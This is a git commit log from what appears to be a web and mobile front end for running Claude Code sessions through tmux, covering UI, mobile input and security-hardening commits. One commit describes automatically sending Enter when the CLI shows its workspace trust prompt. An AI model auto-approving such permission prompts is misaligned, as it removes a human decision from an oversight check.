Previously the API wrote envOverrides to <case>/.claude/settings.local.json, which
created stale state (UI dropdown disagreeing with disk) and polluted user project
directories. Now envOverrides are ephemeral spawn-time state, preserved across
respawnPane cycles via this._envOverrides and across server restart via
SessionState.envOverrides in state.json.

Also removes the now-unused updateCaseEnvVars import from session-routes.ts.
2026-04-24 09:49:52 +08:00
Teigen 534899bc2b feat: add xhigh effort option and /effort max mobile shortcut
Add XHigh option to Thinking Effort dropdown (between High and Max),
and add a Max quick button to the mobile keyboard accessory bar that
sends /effort max as a slash command.
2026-04-24 09:48:53 +08:00
Teigen 03d91ffddd feat: add thinking effort setting for new sessions
Allow configuring CLAUDE_CODE_EFFORT_LEVEL (low/medium/high/max) from
Settings → Claude Permissions. Applied as envOverride on session creation.
2026-04-24 09:48:18 +08:00
arkonandClaude Opus 4.7 6280998bd8 chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 20:22:30 +02:00
arkonandClaude Opus 4.7 02e2f3e8b5 refactor: remove dead code and narrow internal exports (knip sweep)
Knip-driven cleanup. All changes verified with tsc --noEmit, lint, and
build.

Removed (zero consumers):
- VERIFICATION_PROMPT constant + its barrel re-export
- createInitialOrchestratorPersistState factory
- transcriptWatcher singleton export
- createAnsiPatternFull / createAnsiPatternSimple factories
- TimerInfo interface + unused AiCheckResult/AiPlanCheckResult imports
  in respawn-controller.ts
- 35 unused Zod z.infer \`*Input\` types in schemas.ts
- Dead re-exports: SessionMode from session.ts, AuthSessionRecord from
  web/ports/index.ts, EnhancedPlanTask/CheckpointReview from
  ralph-tracker.ts, 7 unused entries in utils/index.ts
- 14 event/config interfaces that lived only as JSDoc hints (no TS type
  position usage): Session/Respawn/RalphLoop/RalphTracker/
  SessionManager/SessionAutoOps/Subagent/TaskQueue/TaskTracker/
  TranscriptWatcher/Image/OrchestratorLoop Events + RespawnPreset +
  SessionOutput

Narrowed to module scope (kept but no longer exported):
- buildPermissionArgs in session-cli-builder.ts
- 28 type/interface declarations used only within their own file:
  Ai{Idle,Plan}Check{Config,State}, BashToolParser{Events,Config},
  FileStream/CreateStream{Options,Result}, PlanSubagentEvent,
  SubagentCallback, RalphLoopConfig, RalphLoop{Events,Options},
  ActiveTimerInfo, DetectionStatus, ActionLogEntry, AutoOpsCallbacks,
  TunnelStatus, Timer/LRUMap/StaleExpirationMap Options, AuthState,
  SessionListenerDeps, SseStreamManagerDeps, and 8 more

Docs: CLAUDE.md advice for global-regex `lastIndex` now points to the
remaining `execPattern()` helper instead of the deleted factories.

Knip delta: unused files 42→0, unused exports 161→16, unused types 92→0.
The 16 remaining exports are a mobile-test helper toolkit intentionally
kept for upcoming tests.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:57:00 +02:00
arkonandClaude Opus 4.7 41300f0a34 chore: add knip config for dead-code detection
knip.json declares the real entry points (scripts, tests, Remotion roots)
and the devDeps invoked only as external CLIs (esbuild for build,
agent-browser/remotion via npx) so future scans surface only true
findings.

Add \`npm run knip\` as the canonical invocation.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:56:31 +02:00
arkonandClaude Opus 4.7 adbc083426 chore: remove dead test and script files
Dead-code sweep via knip. All files below have zero importers and were
leftovers from the local-echo overlay exploration or duplicated by files
under test/mocks/.

Deleted:
- test/respawn-test-utils.ts (728-line duplicate of test/mocks/*)
- test/input-echo-test.mjs
- test/local-echo-*.mjs (7 files)
- test/manual/*.mjs (10 files; dir removed)
- scripts/remotion/components/TerminalScreen.tsx (unused Remotion demo)

Also cleaned stale JSDoc references to the removed
respawn-test-utils.ts in test/mocks/mock-session.ts and
test/mocks/test-helpers.ts.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:56:22 +02:00
arkonandClaude Opus 4.7 3754bcd1aa docs: tighten CLAUDE.md — update counts and CI line
- CI line: include `check:lockfile` step now run in workflow
- Frontend: app.js is ~2.9K lines (was ~2.8K)
- Types: document `src/types/index.ts` as the barrel (14 domain files) plus `src/types.ts` root re-export
- API routes: updated handler counts (128 total; sessions 27, cases 9)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:55:56 +02:00
arkonandClaude Opus 4.7 f2f909ca9c docs: tighten CLAUDE.md — fix counts, remove footer redundancy
Fix stale counts (types 14 to 15, SSE events ~118 to ~120). Remove
redundant footer sections (References list duplicated inline citations;
Common Workflows bullets were self-evident or already stated; Tunnel and
Memory Leak Prevention folded into neighboring sections). 251 to 234 lines.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:14:16 +02:00
arkonandClaude Opus 4.7 1c3f2f6571 docs: tighten CLAUDE.md and archive 22 completed plan docs
CLAUDE.md: fix stale counts (types 14 to 15, SSE events ~118 to ~120),
remove redundant footer sections (References list duplicated inline citations;
Common Workflows bullets were self-evident or already stated; Tunnel/Memory
Leak Prevention folded into neighboring sections). 251 to 234 lines.

Move 22 completed implementation/phase/audit plans to docs/archive/ via
git mv so history is preserved. Living reference docs remain in docs/.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:14:07 +02:00
arkonandClaude Opus 4.7 8da1bdf690 chore: prevent package-lock.json version drift permanently
Makes the drift that PR #70 caught impossible to repeat:

- `version-packages` script now runs `changeset version && npm install
  --package-lock-only && check-lockfile-sync`, so the lockfile is always
  regenerated and verified as part of consuming a changeset
- New `scripts/check-lockfile-sync.mjs` compares package.json#.version against
  package-lock.json's root and packages[""] version fields (npm ci does not
  enforce these, which is why the prior drift slipped through CI)
- CI now runs `npm run check:lockfile` on every push/PR — any future drift
  fails the build before merge
- COM workflow in CLAUDE.md collapsed back to a single release-bump step now
  that lockfile sync is automatic

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:01:51 +02:00
arkonandClaude Opus 4.7 a93325b312 fix: sync package-lock.json to 0.6.0 and document lockfile step in COM workflow
package.json has been at 0.6.0 since release, but package-lock.json stayed at
0.3.11 because `npm run version-packages` (changesets) does not regenerate the
lockfile. This left `npm ci` broken against the committed state.

Also adds step 4 (`npm install --package-lock-only`) to the COM workflow in
CLAUDE.md so future releases keep the lockfile in sync automatically.

Credit to @Matt2012 (#70) for catching the lockfile drift.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-23 11:00:10 +02:00
arkonandClaude Opus 4.7 2d03e4efc9 docs: update CLAUDE.md and README for clipboard API and tab shortcuts
Reflect changes from PRs #65–#68: bumped route/SSE counts, added
Ctrl+Shift+{/} (tab reorder), Alt+1-9 (tab switch), Ctrl+Shift+V
(voice), and POST /api/clipboard to the keyboard and API references.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 04:16:36 +02:00
arkonandClaude Opus 4.7 ab7c502c2a chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 04:13:26 +02:00
Ark0N 546bbcbe7c Merge pull request #68 from aakhter/feat/clipboard-api
feat: add clipboard API for remote browser clipboard access
2026-04-18 04:10:31 +02:00
Ark0N 774d5ff321 Merge pull request #67 from aakhter/feat/tab-badges
feat: improve active tab visibility and add Alt+N number badges
2026-04-18 04:08:09 +02:00
Ark0N 98ceb5da1d Merge pull request #66 from aakhter/feat/tab-reorder-shortcuts
feat: add Ctrl+Shift+{/} to reorder session tabs
2026-04-18 04:07:01 +02:00
Ark0N 34fb5e49f8 Merge pull request #65 from aakhter/fix/android-shift-double-char
fix: prevent double character input on Android Shift+key
2026-04-18 04:05:21 +02:00
arkonandClaude Opus 4.7 002cf81b1e chore: version packages
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 04:02:02 +02:00
Aamer Akhter 9b4aab2502 feat: add clipboard API for remote browser clipboard access
POST /api/clipboard with { text } broadcasts to all connected browsers
via SSE. Browser attempts navigator.clipboard.writeText, falling back
to a modal with manual copy button if blocked.

Enables remote clipboard workflows: CLI tools can push text to the
user's browser clipboard across the network.
2026-04-12 10:07:15 -04:00
Aamer Akhter 829c797726 feat: improve active tab visibility and add Alt+N number badges
- Active tab: bright green border with color-matched glow per session color
- Tab number badges (1-9) showing Alt+N shortcut hints
- Badges update on tab reorder and re-render
2026-04-12 10:04:34 -04:00
Aamer Akhter 85da3bb898 feat: add Ctrl+Shift+{/} keyboard shortcuts to reorder session tabs
Matches WezTerm/terminal emulator tab reorder conventions. Uses the
existing sessionOrder array and saveSessionOrder() for persistence.
2026-04-12 10:02:12 -04:00
Aamer Akhter 29b2653801 fix: prevent double character input on Android Shift+key
On Android tablets, pressing Shift+A produces "AA" because the input
event listener re-sends characters that xterm already processed via
its keydown handler. Track keydown timestamps and skip input events
that fire within 50ms of a handled keydown.

Only affects touch devices (listener gated by isTouchDevice()).
2026-04-12 10:01:29 -04:00
arkonandClaude Opus 4.6 7b8b175133 chore: version packages
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-11 21:01:32 +02:00
Ark0N c3027b21e1 Merge pull request #63 from Typhon0/fix/quick-start-linked-cases
Good catch — quick-start was ignoring linked-cases.json. Thanks @Typhon0!
2026-04-11 20:58:57 +02:00
Loïc Sculier 0b231edd43 Fix quick-start to resolve linked cases before codeman-cases fallback
/api/quick-start was always resolving caseName against CASES_DIR,
ignoring any entries in ~/.codeman/linked-cases.json. This caused
sessions to start in ~/codeman-cases/<name> even when the case was
linked to an external project directory.

Fix: read linked-cases.json first and prefer that path, falling back
to validatePathWithinBase only when no link is found.
2026-04-11 17:45:41 +02:00
arkon ea1c2ee4ec chore: version packages 2026-04-11 07:21:18 +02:00
arkonandClaude Opus 4.6 b4a808adcf fix: security hardening and cleanup from community PR cherry-picks
- Add HTML sanitizer for markdown rendering (XSS prevention)
- Switch service worker to network-first caching (deploys take effect immediately)
- Sanitize Content-Disposition filenames (header injection prevention)
- Expose session.muxName getter, replace unsafe `as any` cast
- Static import for execFile, update CLAUDE.md keyboard shortcuts

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-11 07:20:09 +02:00
arkonandClaude Opus 4.6 f3cbe9bca6 feat: cherry-pick keyboard UX and file download from community PRs
Cherry-picked from PR #60 (keyboard UX) and PR #61 (file download):

- Alt+1-9 session switching
- Disable Ctrl+K (too easy to trigger accidentally)
- Session rename with prefix preservation (w1-case: description)
- Shift+Enter / Ctrl+Enter multiline input via tmux send-keys -H
- Android virtual keyboard fix for non-composition input
- File download button in browser file explorer (?download=true)

Dropped from PR #60: stale package-lock.json, upload popup (missing upload.html)
Dropped from PR #61: standalone /api/download endpoint (arbitrary fs access)
Fixed from PR #60: execFileSync replaced with async execFile

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-11 06:59:50 +02:00
Ark0N a11bcb0029 Merge pull request #59 from aakhter/feat/pwa-support
feat: add PWA support for Android/iOS home screen install
2026-04-11 06:54:06 +02:00
Ark0N 47fd9a922f Merge pull request #58 from ToRvaLDz/master
feat: add named Cloudflare tunnel support
2026-04-11 06:53:56 +02:00
Ark0N 14f7d8298d Merge pull request #62 from TeigenZhang/feat/mobile-response-viewer
feat: mobile response viewer with markdown rendering
2026-04-11 06:53:47 +02:00
Teigen d32f4debb2 feat: markdown rendering for response viewer
Add marked.js (39KB) for rich text display in the response viewer.
Renders headings, code blocks, lists, tables, blockquotes, and
inline formatting with dark theme styling.

Falls back to escaped plain text if marked.js fails to load.
2026-04-10 19:12:06 +08:00
Teigen 3cb7b510f8 feat: mobile response viewer — read full Claude responses via native scroll
Claude Code's Ink framework uses alternate screen buffer + VPA cursor
positioning, resulting in near-zero xterm.js scrollback on mobile.
Instead of fighting terminal scrollback, this adds a native scrollable
overlay that reads structured responses from Claude's JSONL transcripts.

- New API: GET /api/sessions/:id/last-response reads transcript JSONL
  - ?context=full returns full conversation thread (user + assistant)
  - Fallback to terminal buffer with ANSI stripping if no transcript
- Response viewer panel: bottom sheet with native iOS/Android scroll
- "More" button loads full conversation context as threaded view
- Eye icon in header bar (mobile only), no toolbar space impact
2026-04-10 19:07:02 +08:00
Aamer AkhterandClaude Opus 4.6 6a12a72c9c local: add PWA support for Android home screen install
Add app icons, update manifest with icon entries, and add app-shell
caching to service worker for offline/instant startup.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-04 22:15:24 -04:00
Marco Migozzi f1a126efeb feat: add named Cloudflare tunnel support
Add named tunnel mode alongside existing quick tunnel, with systemd
service and setup helper. All tunnel parameters are configurable via
environment variables:

  CLOUDFLARED_TUNNEL_NAME   — tunnel name (default: codeman)
  CLOUDFLARED_TUNNEL_ID     — tunnel UUID (from: cloudflared tunnel list)
  CODEMAN_TUNNEL_HOSTNAME   — public hostname

Backward compatible: ./tunnel.sh [start|stop|status|url] still works.
2026-04-04 13:41:28 +02:00
Marco Migozzi 12fd780af8 feat: add named Cloudflare tunnel support
Add named tunnel mode alongside existing quick tunnel, with systemd
service and setup helper. Tunnel ID and hostname are configurable via
CLOUDFLARED_TUNNEL_ID and CODEMAN_TUNNEL_HOSTNAME env vars.
2026-04-04 13:37:20 +02:00
Teigen fd74a42933 Merge remote-tracking branch 'origin/master' into dev 2026-04-04 08:07:15 +08:00
arkonandClaude Opus 4.6 7101e64800 refactor: restructure repo for cleaner GitHub landing page
Reduce visible top-level items from 21 to 14:
- Untrack test-results/, tmp/, public symlink (added to .gitignore)
- Move agent-teams/ → docs/agent-teams/
- Move mobile-test/ → test/mobile/
- Move tools/remotion/ → scripts/remotion/
- Move eslint.config.js, vitest.config.ts → config/

All path references updated across CLAUDE.md, package.json,
.prettierignore, vitest configs, and capture scripts.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-03 16:23:54 +02:00
Teigen 1b10d9b733 feat: mobile logo, expandable history, fix session resume
- Show Codeman logo on mobile as compact home button (was hidden)
- Add "Show More" button for history sessions (initial 4, expand all)
- Deduplicate by projectKey instead of workingDir (lossy decode fix)
- Fix project key decoding: handle '_' encoded as '-' with look-ahead
- Pre-validate resumeSessionId before passing to Claude CLI
- Apply content validation to all session files regardless of size
2026-04-03 11:02:43 +08:00
arkon 5078f5251d chore: version packages 2026-04-03 04:28:36 +02:00
arkonandClaude Opus 4.6 196af8fba7 fix: allow bracket chars in model flag for opus[1m] context window
The model validation regex rejected brackets, silently dropping models
like opus[1m]. Also quote the model flag to prevent bash glob expansion.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-03 04:27:32 +02:00
arkonandClaude Opus 4.6 a9b22b86a4 docs: use launchctl bootstrap instead of deprecated load
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-03 04:20:42 +02:00
arkonandClaude Opus 4.6 28cace5858 docs: clean up README install and service sections
Remove fork/branch install instructions and env vars table for cleaner
first impression. Reformat systemd and launchd service blocks as
readable multi-line heredocs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-03 04:19:45 +02:00
arkon 0a594b61bd chore: version packages 2026-04-03 04:17:33 +02:00
arkon 89d787a949 chore: version packages 2026-04-03 04:01:08 +02:00
arkonandClaude Opus 4.6 bd9797b68c fix: sanitize case names from filesystem to prevent XSS in inline handlers
Filter readdir and linked-case names through /^[a-zA-Z0-9_-]+$/ before
returning them from GET /api/cases. Prevents XSS via maliciously-named
directories reaching frontend inline onclick handlers where escapeHtml
is insufficient (HTML-decoded back to quotes before JS execution).

Also fix misleading "Drag or use arrows" hint (no drag-and-drop exists).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-03 03:58:29 +02:00
Ark0N 0e6cd94312 Merge pull request #56 from TeigenZhang/feat/case-manage-reorder-delete
feat: add case reorder and delete in Manage tab
2026-04-03 03:53:25 +02:00
arkonandClaude Opus 4.6 24a6f1cac8 chore: remove accidentally committed build artifact and dev-specific script
Remove dist/state-store.js (compiled build artifact that should not be tracked)
and scripts/claudeman-launchd-wrapper.sh (developer-specific launchd wrapper
with hardcoded paths) that were included in #55.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-03 03:51:00 +02:00
Ark0N 8e679a280b Merge pull request #55 from TeigenZhang/fix/auto-attach-on-restart
fix: auto-attach PTY on server restart
2026-04-03 03:50:31 +02:00
Teigen c642689bbd feat: add case reorder and delete in Manage tab
Add a "Manage" tab to the create-case modal with up/down reorder
buttons and delete for each case. Linked cases are unlinked (folder
preserved); CASES_DIR cases are permanently deleted.

Backend:
- DELETE /api/cases/:name — unlink or delete
- PUT /api/cases/order — persist ordering to settings.json
- GET /api/cases now respects saved caseOrder

Frontend:
- Third "Manage" tab in createCaseModal with case list
- Delete button in mobile case picker bottom sheet
- SSE events: case:deleted, case:order-changed
2026-04-03 09:45:19 +08:00
Teigen 28a6247c27 fix: auto-attach PTY to surviving tmux sessions on server restart
Previously, restoreMuxSessions() only created Session objects without
attaching PTY processes. Sessions stayed at pid=null until the client
manually selected them, causing terminals to appear "closed" after deploy.

Now the server calls startInteractive() for each recovered session during
startup, so all sessions resume capturing output immediately. The frontend
auto-attach condition is also relaxed from (pid===null && status==='idle')
to (pid===null && !_ended) as a safety net for edge cases.
2026-04-02 21:35:00 +08:00
Teigen 0ceb455c4b feat: add Ctrl+O button to mobile keyboard accessory bar 2026-04-02 21:13:17 +08:00
Teigen e51117dfa9 feat: add left/right arrow buttons to mobile keyboard accessory bar
Support cursor left/right movement on mobile, using the same blue
accessory-btn-arrow style as the existing up/down arrows.
2026-04-02 15:19:15 +08:00
Teigen 13d41cf7c7 feat: add Tab, Esc, ⌥Enter buttons to mobile keyboard accessory bar
- Add Tab (forward), Esc, and Option+Enter (newline) buttons
- Reorder buttons: ↑ ↓ 📋 Tab ⇧Tab ⌥Enter Esc /init /clear /compact dismiss
- Unify dismiss button style with arrow buttons (was oversized with custom class)
- Remove unused .accessory-btn-dismiss CSS rules
2026-04-02 14:32:54 +08:00
Teigen 2c7557d002 fix state store temp file collisions 2026-04-02 14:24:10 +08:00
arkonandClaude Opus 4.6 53b473708f fix: macOS support — HTML cache, launchd service, trust dialog
Three fixes for macOS deployments:

1. HTML cache bug: @fastify/static with preCompressed serves .html.br/.html.gz
   files, so path.endsWith('.html') missed them — HTML got 1-year immutable
   cache headers instead of no-cache, causing stale pages after deploys.

2. Installer launchd support: macOS now gets proper LaunchAgent setup (like
   systemd on Linux). Removes competing LaunchDaemons to prevent duplicate
   services fighting over the port. Update/uninstall also handle launchd.

3. Trust dialog auto-accept: Claude CLI 2.x shows a workspace trust prompt
   on first launch per directory. Sessions detect "trust this folder" in PTY
   output and auto-send Enter, preventing sessions from hanging on startup.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-01 08:51:37 +02:00
arkonandClaude Opus 4.6 2cba393ae5 fix: installer fails on macOS when piped via curl | bash
When running `curl | bash`, stdin is the pipe, not the terminal.
Homebrew and sudo need TTY access to prompt for the password.
Redirect /dev/tty as stdin for these subprocesses.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-31 19:34:39 +02:00
arkon 64b8ea30b2 chore: version packages 2026-03-31 03:10:22 +02:00
Ark0N 5743af3339 Merge pull request #52 from TeigenZhang/feat/default-model-support
Thanks for the contribution @TeigenZhang! Clean, well-scoped change — applied consistently across all session creation paths. 🎉
2026-03-30 19:19:04 +02:00
Teigen 2011bd8d89 fix: terminal flicker regression — move viewport clear inside dimension guard
Three fixes from the WIP flicker branch that were lost during master merges:

1. Move viewport clear (\x1b[3J\x1b[H\x1b[2J) inside the dimension-change
   guard so it only fires when cols/rows actually change. Previously every
   resize event cleared the screen even at identical dimensions, causing
   visible flicker with no subsequent Ink redraw to repaint.

2. Sync _lastResizeDims in sendResize() so restoreTerminalSize() doesn't
   trigger a redundant viewport clear on the next throttledResize tick.

3. Add didScroll tracking to touch events — tap (no scroll) now refocuses
   xterm's hidden textarea, fixing mobile keyboard input routing after
   tapping the terminal area.
2026-03-30 16:45:20 +08:00
Teigen b76724690d Merge branch 'feat/mobile-shift-tab' into dev 2026-03-30 16:45:16 +08:00
Teigen f277f9664c feat: add Shift+Tab button to mobile keyboard accessory bar
Mobile users cannot press Shift+Tab on virtual keyboards. Add a ⇧Tab
button that sends the escape sequence (\x1b[Z) to the PTY, enabling
mode switching on mobile devices.

Also fix accessory bar overflow on narrow screens by making it
horizontally scrollable with hidden scrollbar.
2026-03-30 16:44:43 +08:00
Teigen cd49171bbc feat: support "Default (CLI default)" option for model selection
Allow users to leave the default model unset, so sessions use whatever
the Claude CLI defaults to rather than forcing a specific model.

- Add empty-value "Default (CLI default)" option to the model dropdown
- Treat empty string as undefined when passing model to Session
- Apply consistently across session creation, quick-start, and Ralph
2026-03-30 16:44:00 +08:00
arkon 0f57342b10 chore: version packages 2026-03-29 05:10:16 +02:00
arkonandClaude Opus 4.6 e1f0ac993a fix: default new sessions to opus[1m] (1M context) instead of opus (200k)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-29 05:09:24 +02:00
arkon a84ef52992 chore: version packages 2026-03-28 16:49:55 +01:00
arkonandClaude Opus 4.6 692c894760 fix: correct process tree detection and prevent timer starvation
1. Rewrote getActiveChildProcesses() to use a single `ps --ppid` call
   instead of two-level pgrep. The pane PID is typically claude itself
   (bash exec'd into it), not a bash wrapper — so direct children of
   pane_pid ARE the tool processes.

2. Added timer restart in tryStartAiCheck() when skipping due to child
   processes. Without this, the pre-filter and no-output timers (both
   one-shot) would never fire again, permanently stalling idle detection
   for sessions with silent long-running processes.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-28 05:14:39 +01:00
arkonandClaude Opus 4.6 ad0acb6d58 feat: detect active child processes to prevent false idle during running tools
When Claude Code spawns bash tools (test suites, builds, servers), the
respawn controller could falsely detect idle if terminal output paused.
Now checks the process tree for active children of the Claude process
before triggering AI idle checks or confirming idle state.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-28 04:34:53 +01:00
arkonandClaude Opus 4.6 d866c8f30e chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-27 01:43:59 +01:00
arkonandClaude Opus 4.6 28537de39d refactor: pass 3 — extract helpers, split long functions, deduplicate patterns
Backend:
- subagent-watcher: split 176L processEntry() into 5 focused methods; extract
  _resolveDescription() deduplicating 3 call sites for description acquisition
- bash-tool-parser: split 152L processCleanLine() into 4 handlers; extract
  _createActiveTool() factory and _scheduleAutoRemove() helper
- session: extract _setupOrAttachMuxSession() deduplicating ~80L between
  startInteractive/startShell; extract _handleTerminalOutput()
- respawn-controller: split 180L handleTerminalData() into 3 detection layers;
  data-driven validation loop replacing 9 individual calls
- plan-orchestrator: extract _extractJsonFromResponse(), _emitAgentFailure(),
  _formatResearchSection() helpers
- orchestrator-loop: extract _finalizeTask() unifying task completion/failure;
  _clearTimer() utility for correct clearInterval/clearTimeout dispatch
- ralph-status-parser: config-driven FIELD_PARSERS[] replacing 8 near-identical
  field-matching blocks; split updateCircuitBreaker() into focused handlers
- state-store: extract _mergeWithInitialState() and _resetCircuitBreaker()

Frontend:
- app.js: add _notifySession() helper used by 18 call sites across 5 modules
- panels-ui.js: extract _addActivityEntry() replacing 4 duplicate blocks
- settings-ui.js: extract _updateTunnelUrlRow() deduplicating 2 blocks
- ralph-panel.js, respawn-ui.js: convert to _notifySession()

Routes:
- route-helpers: add toggleService() helper
- system-routes: use toggleService() for watcher toggles; extract collectActiveTokens()
- orchestrator-routes: data-driven EVENT_MAP replacing 10 identical listeners

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-26 22:50:25 +01:00
arkonandClaude Opus 4.6 ba09184efa fix: wizard "No JSON found" — Claude CLI stream-json returns empty result field
Claude CLI's --output-format stream-json now returns "result": "" in the result
message. The actual response text lives in assistant message text blocks, which
_textOutput correctly accumulates. runPrompt() was returning the empty
resultMsg.result without falling back to _textOutput.value.

Also improved plan-orchestrator JSON extraction to try code-block-wrapped JSON
first (```json {...} ```) before the greedy regex, plus debug logging.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 23:53:57 +01:00
arkonandClaude Opus 4.6 93719b41cd chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 23:34:14 +01:00
arkonandClaude Opus 4.6 a448983be3 refactor: pass 2 — extract shared helpers and simplify patterns
app.js:
- Add _clearTimer() helper replacing 11 inline clearTimeout patterns
- Add _isStaleSelect() helper for generation check + cleanup
- Replace 11 keyboard shortcut if-blocks with data-driven lookup table
- Extract _cleanupPreviousSession() from selectSession() (~75 lines)
- Extract _resetAllAppState() from handleInit() (~75 lines)

tmux-manager:
- Extract buildEnvExports() eliminating duplication in createSession/respawnPane
- Extract buildPathExport() for CLI path resolution
- Extract _configureOpenCode() for OpenCode setup

routes:
- Add readJsonConfig() to route-helpers, replacing 5 inline JSON-read patterns
- Add validateSessionFilePath() to route-helpers, replacing 2 identical path
  traversal validation blocks in file-routes

session-auto-ops:
- Convert executeWhenIdle() from 8 positional params to options object
- Extract validateThreshold() for shared compact/clear validation

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 23:32:28 +01:00
arkonandClaude Opus 4.6 3145eac6d9 refactor: extract helper methods to reduce duplication and improve readability
DRY up repeated patterns across 7 core files:
- state-store: extract serializeState() and split assembleStateJson() into 3 focused methods
- session: extract _resetBuffers(), _clearAllTimers(), _handleJsonMessage()
- ralph-tracker: extract completeAllTodos() (was 4x duplicated), emitValidationWarning(), similarity constants
- subagent-watcher: extract markSubagentAsCompleted(), extractFirstTextContent(), emitToolResult(), findOldestInactiveAgent()
- respawn-controller: extract recoveryResetToWatching(), canAutoAccept(), formatRemainingSeconds(), validatePositiveTimeout()
- tmux-manager: replace 15 path.includes() checks with single UNSAFE_PATH_CHARS regex
- session-auto-ops: extract executeWhenIdle() shared retry helper for checkAutoCompact/checkAutoClear

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 23:21:38 +01:00
arkonandClaude Opus 4.6 e3c609f5f0 test: add coverage for lastUsedCase partial update and strict schema rejection
Tests that partial PUT /api/settings with just lastUsedCase works correctly
and that including modelConfig triggers strict Zod schema rejection (the bug
fixed in #49).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-25 13:39:47 +01:00
Tenggan Zhang 52e774f83c fix: case selection not persisting across page refresh (#49)
Thank you for the clean fix! The root cause analysis in the PR description was excellent — the strict Zod schema rejecting modelConfig during the GET-then-PUT pattern was a subtle bug.
2026-03-25 13:39:16 +01:00
arkon 82d08df53f chore: version packages 2026-03-25 00:18:14 +01:00
arkonandClaude Opus 4.6 2709b2fe49 feat: make buffer size limits configurable via environment variables
Allow overriding MAX_TERMINAL_BUFFER_SIZE, TRIM_TERMINAL_TO, MAX_TEXT_OUTPUT_SIZE,
TRIM_TEXT_TO, and MAX_MESSAGES via CODEMAN_* env vars, falling back to existing
defaults. Enables users with fewer sessions or more RAM to tune buffer sizes
without patching source.

Closes #48

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-24 18:40:40 +01:00
Ark0N b1d3b27e5b Merge pull request #47 from TeigenZhang/fix/mobile-cjk-input-and-layout
fix: mobile CJK input, terminal flicker, and layout overflow
2026-03-24 18:22:48 +01:00
Teigen 47963b54fa fix: mobile CJK input, terminal flicker, and layout overflow
Terminal flicker:
- Skip buffer-recovered/clear-terminal events during active buffer load
  to prevent competing clear+rewrite cycles (app.js)
- Move viewport+scrollback clear inside dimension-change guard so resize
  without actual SIGWINCH doesn't blank the terminal (terminal-ui.js)
- Sync _lastResizeDims on explicit resize to prevent redundant clears

CJK input rewrite (input-cjk.js):
- Use InputEvent.inputType to distinguish insertText (final) from
  insertCompositionText (tentative) — fixes Chinese punctuation and
  English text being swallowed during Android IME composition
- Remove isComposing guard on Enter so it always sends
- Phantom character (U+200B) keeps textarea non-empty so Android
  long-press backspace generates continuous deleteContentBackward
  events at the keyboard's native repeat rate

CJK input settings:
- Add "CJK Input" toggle in Settings > Input (index.html, settings-ui.js)
- Store as device-specific setting (cjkInputEnabled), not synced to server
- Replace INPUT_CJK_FORM env var dependency with user-controlled setting
  (env var still works as server override)

Mobile layout:
- Fix welcome screen overflow on phones by constraining .welcome-content
  to calc(100vw - 1.5rem) (mobile.css)
- Move xterm helper textarea on-screen for touch devices to fix iOS
  keyboard input (styles.css)
- Focus terminal synchronously in user-gesture context for iOS Safari
  keyboard activation (session-ui.js, app.js)
- Refocus terminal on tap (not scroll) in touch handler (terminal-ui.js)
2026-03-24 09:22:06 +08:00
arkonandClaude Opus 4.6 b7c3c30c8c fix: send Ctrl+L after tab switch to clear stale Ink CUP frames
Tailed terminal buffers contain multiple CUP-positioned Ink frames from
different time points. When replayed in xterm, old frames at viewport
positions not covered by the latest frame persist as ghost content
(e.g. duplicate "bypass permissions" bars). After buffer load, send
Ctrl+L via the session input API to trigger a full Ink redraw, which
overwrites all stale frame content with the correct current state.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-23 16:59:48 +01:00
arkonandClaude Opus 4.6 0d80524f10 fix: prevent duplicate terminal output on tab switch to busy sessions
Two fixes for the tab-switching corruption bug:

1. _finishBufferLoad() now discards queued SSE events instead of flushing
   them. The loaded API buffer is the source of truth — queued events
   overlap with it, and flushing them writes duplicate Ink cursor-up
   redraws that corrupt the terminal display (garbled text, wrong cursor
